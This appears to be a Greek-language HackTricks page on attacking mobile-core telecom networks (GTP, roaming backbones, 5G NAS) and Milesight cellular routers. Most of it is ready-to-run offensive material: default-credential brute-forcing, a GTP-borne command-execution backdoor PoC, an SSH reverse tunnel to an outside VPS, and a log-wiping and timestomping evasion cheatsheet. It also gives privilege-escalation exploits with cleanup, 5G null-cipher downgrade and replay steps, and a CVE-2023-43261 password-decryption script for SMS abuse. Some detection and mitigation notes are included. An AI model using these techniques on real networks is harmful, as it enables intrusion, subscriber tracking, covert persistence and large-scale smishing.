310 lines
21 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Εκμετάλλευση Δικτύων Τηλεπικοινωνιών (GTP / Roaming Environments)
{{#include ../../banners/hacktricks-training.md}}
> [!NOTE]
> Τα πρωτόκολλα του mobile-core (GPRS Tunnelling Protocol GTP) συχνά διατρέχουν ημι-αξιόπιστες GRX/IPX roaming backbones. Επειδή κινούνται πάνω σε απλό UDP με σχεδόν καθόλου authentication, **οποιοδήποτε foothold εντός του περιγράμματος ενός τηλεπικοινωνιακού δικτύου συνήθως μπορεί να φτάσει απευθείας τα core signalling planes**. Οι παρακάτω σημειώσεις συγκεντρώνουν επιθετικά κόλπα παρατηρημένα στο πεδίο εναντίον SGSN/GGSN, PGW/SGW και άλλων κόμβων EPC.
## 1. Recon & Initial Access
### 1.1 Default OSS / NE Accounts
Ένας εκπληκτικά μεγάλος αριθμός εξοπλισμού δικτύου προμηθευτών αποστέλλεται με hard-coded SSH/Telnet accounts όπως `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Ένα αφιερωμένο wordlist αυξάνει δραματικά την επιτυχία brute-force:
```bash
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
```
Αν η συσκευή εκθέτει μόνο ένα management VRF, pivot μέσω ενός jump host πρώτα (βλέπε ενότητα «SGSN Emu Tunnel» παρακάτω).
### 1.2 Ανακάλυψη hosts μέσα στο GRX/IPX
Οι περισσότεροι χειριστές GRX εξακολουθούν να επιτρέπουν **ICMP echo** σε όλο το backbone. Συνδύασε το `masscan` με τους ενσωματωμένους `gtpv1` UDP probes για γρήγορη χαρτογράφηση των GTP-C listeners:
```bash
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
```
## 2. Εντοπισμός Συνδρομητών `cordscan`
Το παρακάτω εργαλείο Go συνθέτει πακέτα **GTP-C Create PDP Context Request** και καταγράφει τις απαντήσεις. Κάθε απάντηση αποκαλύπτει το τρέχον **SGSN / MME** που εξυπηρετεί το ερωτώμενο IMSI και, μερικές φορές, το PLMN που επισκέφθηκε ο συνδρομητής.
```bash
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
```
Key flags:
- `--imsi` IMSI του στοχευόμενου συνδρομητή
- `--oper` Home / HNI (MCC+MNC)
- `-w` Καταγραφή raw πακέτων σε pcap
Σημαντικές σταθερές μέσα στο binary μπορούν να τροποποιηθούν για να διευρύνουν τις σαρώσεις:
```
pingtimeout = 3 // seconds before giving up
pco = 0x218080
common_tcp_ports = "22,23,80,443,8080"
```
## 3. Εκτέλεση κώδικα μέσω GTP `GTPDoor`
`GTPDoor` είναι μια μικρή ELF υπηρεσία που **δεσμεύει UDP 2123 και αναλύει κάθε εισερχόμενο πακέτο GTP-C**. Όταν το payload ξεκινά με ένα προ-κοινό tag, το υπόλοιπο αποκρυπτογραφείται (AES-128-CBC) και εκτελείται μέσω `/bin/sh -c`. Το stdout/stderr εξάγονται μέσα σε **Echo Response** μηνύματα ώστε να μην δημιουργηθεί ποτέ εξωτερική συνεδρία.
Minimal PoC packet (Python):
```python
import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
```
Ανίχνευση:
* οποιοσδήποτε host που στέλνει **unbalanced Echo Requests** σε SGSN IPs
* GTP version flag ορισμένο σε 1 ενώ message type = 1 (Echo) απόκλιση από τη προδιαγραφή
## 4. Pivoting μέσω του Core
### 4.1 `sgsnemu` + SOCKS5
`OsmoGGSN` παρέχει έναν SGSN emulator ικανό να **εγκαθιδρύσει ένα PDP context προς ένα πραγματικό GGSN/PGW**. Μόλις ολοκληρωθεί η διαπραγμάτευση, το Linux αποκτά μια νέα διεπαφή `tun0` προσβάσιμη από το roaming peer.
```bash
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 & # internal SOCKS proxy
```
Με σωστό firewall hair-pinning, αυτός ο tunnel παρακάμπτει τα signalling-only VLANs και σας φέρνει απευθείας στο **data plane**.
### 4.2 SSH Reverse Tunnel over Port 53
Το DNS είναι σχεδόν πάντα ανοιχτό σε roaming υποδομές. Εκθέστε μια εσωτερική υπηρεσία SSH στο VPS σας που ακούει στη θύρα :53 και επιστρέψτε αργότερα από το σπίτι:
```bash
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
```
Ελέγξτε ότι το `GatewayPorts yes` είναι ενεργοποιημένο στο VPS.
## 5. Κρυφά Κανάλια
| Κανάλι | Μεταφορά | Αποκωδικοποίηση | Σημειώσεις |
|--------|----------|-----------------|-----------|
| ICMP `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | pure passive listener, no outbound traffic |
| DNS `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) encoded in A-record octets | παρακολουθεί για υποτομέα `*.nodep` |
| GTP `GTPDoor` | UDP 2123 | AES-128-CBC blob in private IE | συνδυάζεται με νόμιμη GTP-C κίνηση |
Όλα τα implants υλοποιούν watchdogs που **timestomp** τα binaries τους και re-spawn αν καταρρεύσουν.
## 6. Defense Evasion Cheatsheet
```bash
# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
# Disable bash history
export HISTFILE=/dev/null
# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup # hide from top/htop
printf '\0' > /proc/$$/comm # appears as [kworker/1]
touch -r /usr/bin/time /usr/bin/chargen # timestomp
setenforce 0 # disable SELinux
```
## 7. Privilege Escalation σε Legacy NE
```bash
# DirtyCow CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
# PwnKit CVE-2021-4034
python3 PwnKit.py
# Sudo Baron Samedit CVE-2021-3156
python3 exploit_userspec.py
```
Συμβουλή καθαρισμού:
```bash
userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c
```
## 8. Tool Box
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` custom tooling described in previous sections.
* `FScan` : σάρωση TCP σε intranet (`fscan -p 22,80,443 10.0.0.0/24`)
* `Responder` : LLMNR/NBT-NS rogue WPAD
* `Microsocks` + `ProxyChains` : lightweight SOCKS5 pivoting
* `FRP` (≥0.37) : NAT traversal / asset bridging
## 9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
Η διαδικασία εγγραφής 5G τρέχει πάνω από NAS (Non-Access Stratum) πάνω από NGAP. Μέχρι να ενεργοποιηθεί η NAS security μέσω Security Mode Command/Complete, τα αρχικά μηνύματα δεν είναι authenticated και δεν είναι encrypted. Αυτό το προ-ασφαλείας παράθυρο επιτρέπει πολλαπλές διαδρομές επίθεσης όταν μπορείτε να παρατηρήσετε ή να παραποιήσετε την N2 κίνηση (π.χ., on-path μέσα στο core, rogue gNB, ή testbed).
Registration flow (simplified):
- Registration Request: UE στέλνει SUCI (κρυπτογραφημένο SUPI) και capabilities.
- Authentication: AMF/AUSF στέλνουν RAND/AUTN; το UE επιστρέφει RES*.
- Security Mode Command/Complete: διαπραγματεύονται και ενεργοποιούνται NAS integrity και ciphering.
- PDU Session Establishment: setup IP/QoS.
Lab setup tips (non-RF):
- Core: Open5GS default deployment είναι επαρκές για την αναπαραγωγή των flows.
- UE: simulator ή test UE; decode με Wireshark.
- Active tooling: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly χωρίς να ανεβάσετε πλήρες rogue gNB).
- Useful display filters in Wireshark:
- ngap.procedure_code == 15 (InitialUEMessage)
- nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)
### 9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI
Αναμενόμενο: UE/USIM πρέπει να μεταδίδει SUCI (SUPI κρυπτογραφημένο με το public key του home-network). Η εύρεση ενός plaintext SUPI/IMSI στο Registration Request υποδεικνύει πρόβλημα ιδιωτικότητας που επιτρέπει μόνιμο tracking συνδρομητή.
How to test:
- Capture το πρώτο NAS μήνυμα στο InitialUEMessage και επιθεωρήστε το Mobile Identity IE.
- Wireshark quick checks:
- Πρέπει να decode ως SUCI, όχι IMSI.
- Παραδείγματα φίλτρων: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` πρέπει να υπάρχει; η απουσία του μαζί με την παρουσία `imsi` υποδεικνύει διαρροή.
What to collect:
- MCC/MNC/MSIN αν εκτίθενται; καταγράψτε ανά-UE και παρακολουθήστε σε χρόνο/τοποθεσίες.
Mitigation:
- Εφαρμόστε SUCI-only UEs/USIMs; alert σε οποιοδήποτε IMSI/SUPI στο αρχικό NAS.
### 9.2 Capability bidding-down to null algorithms (EEA0/EIA0)
Background:
- Το UE ανακοινώνει τις υποστηριζόμενες EEA (encryption) και EIA (integrity) στο UE Security Capability IE του Registration Request.
- Συνηθισμένες αντιστοιχίσεις: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 είναι null algorithms.
Issue:
- Επειδή το Registration Request δεν είναι integrity protected, ένας on-path attacker μπορεί να καθαρίσει bits των capabilities για να εξαναγκάσει την επιλογή EEA0/EIA0 αργότερα κατά το Security Mode Command. Κάποια stacks λανθασμένα επιτρέπουν null algorithms εκτός emergency services.
Offensive steps:
- Intercept το InitialUEMessage και τροποποιήστε το NAS UE Security Capability ώστε να ανακοινώνει μόνο EEA0/EIA0.
- Με Sni5Gect, hook το NAS μήνυμα και patch τα capability bits πριν το προωθήσετε.
- Παρατηρήστε εάν το AMF αποδέχεται null ciphers/integrity και ολοκληρώνει το Security Mode με EEA0/EIA0.
Verification/visibility:
- Στο Wireshark, επιβεβαιώστε τα selected algorithms μετά το Security Mode Command/Complete.
- Example passive sniffer output:
```
Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001
```
Μέτρα αντιμετώπισης (υποχρεωτικά):
- Configure AMF/policy to reject EEA0/EIA0 except where strictly mandated (e.g., emergency calls).
- Prefer enforcing EEA2/EIA2 at minimum; log and alarm on any NAS security context that negotiates null algorithms.
### 9.3 Replay του αρχικού Registration Request (pre-security NAS)
Επειδή το αρχικό NAS στερείται ακεραιότητας και φρεσκάδας, το καταγεγραμμένο InitialUEMessage+Registration Request μπορεί να replayed στο AMF.
Κανόνας PoC για το 5GReplay για να προωθεί matching replays:
```xml
<beginning>
<property value="THEN"
property_id="101"
type_property="FORWARD"
description="Forward InitialUEMessage with Registration Request">
<!-- Trigger on NGAP InitialUEMessage (procedureCode == 15) -->
<event value="COMPUTE"
event_id="1"
description="Trigger: InitialUEMessage"
boolean_expression="ngap.procedure_code == 15"/>
<!-- Context match on NAS Registration Request (message_type == 65) -->
<event value="COMPUTE"
event_id="2"
description="Context: Registration Request"
boolean_expression="nas_5g.message_type == 65"/>
</property>
</beginning>
```
What to observe:
- Τι να παρατηρήσετε: Εάν το AMF αποδέχεται το replay και προχωρά στην Αυθεντικοποίηση· η έλλειψη ελέγχου φρεσκάδας/πλαισίου υποδεικνύει έκθεση.
Mitigations:
- Αντιμετώπιση: Επιβάλετε replay protection/context binding στο AMF· εφαρμόστε rate-limit και συσχέτιση ανά GNB/UE.
### 9.4 Tooling pointers (reproducible)
- Open5GS: αναπτύξτε ένα AMF/SMF/UPF για να προσομοιώσετε τον core· παρατηρήστε N2 (NGAP) και NAS.
- Wireshark: επαληθεύστε τις αποκωδικοποιήσεις των NGAP/NAS· εφαρμόστε τα παραπάνω φίλτρα για να απομονώσετε το Registration.
- 5GReplay: καταγράψτε μια Registration, στη συνέχεια replay συγκεκριμένα μηνύματα NGAP + NAS σύμφωνα με τον κανόνα.
- Sni5Gect: live sniff/modify/inject του NAS control-plane για να εξαναγκάσετε null algorithms ή να διαταράξετε τις authentication sequences.
### 9.5 Defensive checklist
- Λίστα ελέγχου άμυνας: Επιθεωρείτε συνεχώς τα Registration Request για plaintext SUPI/IMSI· μπλοκάρετε τις συσκευές/USIMs που παραβιάζουν.
- Απορρίψτε EEA0/EIA0 εκτός από αυστηρά ορισμένες διαδικασίες έκτακτης ανάγκης· απαιτήστε τουλάχιστον EEA2/EIA2.
- Ανιχνεύστε rogue ή λανθασμένα διαμορφωμένη υποδομή: μη εξουσιοδοτημένα gNB/AMF, απροσδόκητοι N2 peers.
- Ειδοποιήστε για NAS security modes που οδηγούν σε null algorithms ή σε συχνά replays του InitialUEMessage.
---
## 10. Industrial Cellular Routers Unauthenticated SMS API Abuse (Milesight UR5X/UR32/UR35/UR41) and Credential Recovery (CVE-2023-43261)
Η κατάχρηση εκτεθειμένων web APIs βιομηχανικών Cellular Routers επιτρέπει stealthy, carrier-origin smishing σε μεγάλη κλίμακα. Οι Milesight UR-series routers εκθέτουν ένα JSON-RPCstyle endpoint στο `/cgi`. Όταν είναι λανθασμένα διαμορφωμένοι, το API μπορεί να ερωτηθεί χωρίς authentication για να απαριθμήσει τα εισερχόμενα/εξερχόμενα SMS και, σε κάποιες εγκαταστάσεις, να στείλει SMS.
Τυπικά μη-επαληθευμένα αιτήματα (ίδια δομή για εισερχόμενα/εξερχόμενα):
```http
POST /cgi HTTP/1.1
Host: <router>
Content-Type: application/json
```
```json
{ "base": "query_inbox", "function": "query_inbox", "values": [ {"page":1,"per_page":50} ] }
```
Οι απαντήσεις περιλαμβάνουν πεδία όπως `timestamp`, `content`, `phone_number` (E.164), και `status` (`success` ή `failed`). Επαναλαμβανόμενες αποστολές με κατάσταση `failed` προς τον ίδιο αριθμό είναι συχνά attacker “capability checks” για να επιβεβαιώσουν ότι ένας router/SIM μπορεί να παραδώσει πριν το blasting.
Παράδειγμα curl για exfiltrate SMS metadata:
```bash
curl -sk -X POST http://<router>/cgi \
-H 'Content-Type: application/json' \
-d '{"base":"query_outbox","function":"query_outbox","values":[{"page":1,"per_page":100}]}'
```
Σημειώσεις σχετικά με auth artifacts:
- Κάποια κίνηση μπορεί να περιλαμβάνει ένα auth cookie, αλλά ένα μεγάλο μέρος των εκτεθειμένων συσκευών απαντά χωρίς οποιαδήποτε authentication στις `query_inbox`/`query_outbox` όταν το management interface είναι Internet-facing.
- Σε περιβάλλοντα που απαιτούν auth, previously-leaked credentials (see below) αποκαθιστούν την πρόσβαση.
Credential recovery path CVE-2023-43261:
- Επηρεαζόμενες οικογένειες: UR5X, UR32L, UR32, UR35, UR41 (pre v35.3.0.7).
- Πρόβλημα: web-served logs (π.χ. `httpd.log`) είναι προσβάσιμα χωρίς authentication κάτω από `/lang/log/` και περιέχουν admin login events με το password κρυπτογραφημένο χρησιμοποιώντας ένα hardcoded AES key/IV που υπάρχει σε client-side JavaScript.
- Πρακτική πρόσβαση και decrypt:
```bash
curl -sk http://<router>/lang/log/httpd.log | sed -n '1,200p'
# Look for entries like: {"username":"admin","password":"<base64>"}
```
Ελάχιστο Python script για να decrypt leaked passwords (AES-128-CBC, hardcoded key/IV):
```python
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
KEY=b'1111111111111111'; IV=b'2222222222222222'
enc_b64='...' # value from httpd.log
print(unpad(AES.new(KEY, AES.MODE_CBC, IV).decrypt(base64.b64decode(enc_b64)), AES.block_size).decode())
```
Ιδέες hunting και ανίχνευσης (network):
- Ειδοποίηση για μη-επαληθευμένο `POST /cgi` του οποίου το JSON body περιέχει `base`/`function` ορισμένο σε `query_inbox` ή `query_outbox`.
- Παρακολούθηση επαναλαμβανόμενων `POST /cgi` bursts ακολουθούμενων από `status":"failed"` εγγραφές σε πολλούς μοναδικούς αριθμούς από την ίδια source IP (capability testing).
- Inventory Internet-exposed Milesight routers; περιορίστε τη διαχείριση σε VPN; απενεργοποιήστε λειτουργίες SMS εκτός αν απαιτούνται; αναβαθμίστε σε ≥ v35.3.0.7; περιστρέψτε credentials και ελέγξτε SMS logs για άγνωστα sends.
Shodan/OSINT pivots (παραδείγματα που εντοπίστηκαν στον πραγματικό κόσμο):
- `http.html:"rt_title"` matches Milesight router panels.
- Google dorking για εκτεθειμένα logs: `"/lang/log/system" ext:log`.
Λειτουργικός αντίκτυπος: η χρήση νόμιμων carrier SIMs εντός routers παρέχει πολύ υψηλή SMS deliverability/credibility για phishing, ενώ η έκθεση των inbox/outbox leaks ευαίσθητα metadata σε μεγάλη κλίμακα.
---
## Ιδέες Ανίχνευσης
1. **Any device other than an SGSN/GGSN establishing Create PDP Context Requests**.
2. **Non-standard ports (53, 80, 443) receiving SSH handshakes** from internal IPs.
3. **Frequent Echo Requests without corresponding Echo Responses** might indicate GTPDoor beacons.
4. **High rate of ICMP echo-reply traffic with large, non-zero identifier/sequence fields**.
5. 5G: **InitialUEMessage carrying NAS Registration Requests repeated from identical endpoints** (replay signal).
6. 5G: **NAS Security Mode negotiating EEA0/EIA0** outside emergency contexts.
## References
- [Palo Alto Unit42 Infiltration of Global Telecom Networks](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
- 3GPP TS 29.060 GPRS Tunnelling Protocol (v16.4.0)
- 3GPP TS 29.281 GTPv2-C (v17.6.0)
- [Demystifying 5G Security: Understanding the Registration Protocol](https://bishopfox.com/blog/demystifying-5g-security-understanding-the-registration-protocol)
- 3GPP TS 24.501 Non-Access-Stratum (NAS) protocol for 5GS
- 3GPP TS 33.501 Security architecture and procedures for 5G System
- [Silent Smishing: The Hidden Abuse of Cellular Router APIs (Sekoia.io)](https://blog.sekoia.io/silent-smishing-the-hidden-abuse-of-cellular-router-apis/)
- [CVE-2023-43261 NVD](https://nvd.nist.gov/vuln/detail/CVE-2023-43261)
- [CVE-2023-43261 PoC (win3zz)](https://github.com/win3zz/CVE-2023-43261)
{{#include ../../banners/hacktricks-training.md}}